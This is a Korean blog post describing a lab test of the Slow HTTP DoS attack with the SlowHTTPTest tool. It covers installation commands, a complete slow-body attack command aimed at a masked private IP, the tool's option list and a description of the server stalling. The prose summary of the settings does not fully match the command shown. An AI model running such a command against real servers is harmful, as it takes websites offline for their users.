소개

최근 Qualys Security Labs 보안전문가 Sergey Shekya 이 발표한 Slow HTTP DoS 공격은 정상적인 요청을 웹 서버가 요청을 느리게 읽도록 해서 서버가 반응할 수 없도록 만들어 버리는 공격이라고 소개하고 있습니다. 다시 말해, 웹 서버를 다운 시키기 위해 다수의 좀비 PC를 만들지 않아도 된다는 말이죠..

소개는 대충 이정도로 하고, 어떻게 동작하는지 테스트를 해보았습니다.



 준비물

 - Slow HTTP DoS 공격을 하기 위한 준비물
1. Apache 웹 서버
2. SlowHTTPTest tool (작성중인 시점에 최신버전은 1.3 버전입니다.)
3. 공격 시도할 리눅스 서버



 인스톨

# wget http://slowhttptest.googlecode.com/files/slowhttptest-1.3.tar.gz
# tar zxvf slowhttptest-1.3.tar.gz
# cd slowhttptest-1.3
# ./configure
# make;make install



 테스트

# slowhttptest -c 1000 -B -i 100 -r 300 -s 10240 -u hxxp://192.168.xx.xx -x 20



Detailed options :

-a start start value of ranges-specifier for range header test
-b bytes limit of range-specifier for range header test
-c number of connections limited to 1024
-H, B, or R specify to slow down in headers section or in message body.
            -R enables range test
-g generate statistics in CSV and HTML formats, pattern is slow_xxx.csv/html,
   where xxx is the time and date
-i seconds interval between follow up data in seconds, per connection
-l seconds test duration in seconds
-o file custom output file path and/or name, effective if -g is specified
-r connections per second connection rate
-s bytes value of Content-Length header, if -B specified
-t verb custom verb to use
-u URL target URL, the same format you type in browser, e.g https://host:port
-v level verbosity level of log 0-4
-x bytes max length of follow up data






위 명령어를 실행 하면 어떤 옵션을 사용하고 있는지 정보가 나오며 설정된 옵션 값으로 서버에 공격을 시도하고 있습니다. 대략적인 옵션 값을 보면, 공격 타입은 Slow Body 타입이고 최대연결 수를 1000, 헤더길이는 10240으로 초당 연결을 300, 240초 동안 5초 간격으로 수행하도록 되어 있습니다.








위의 이미지에서 정상호출과 비정상호출의 차이점을 확인 할 수 있으며, 공격 시 웹 페이지에 접속 시도하면 응답시간이 느려 페이지 로딩 시간이 길어지며, 결국 페이지가 응답하지 않는 것을 볼 수 있습니다.

 
 

 
실제 테스트하는 영상을 보시면 이해가 더 빠르실 거 같아 관련 영상 링크 합니다.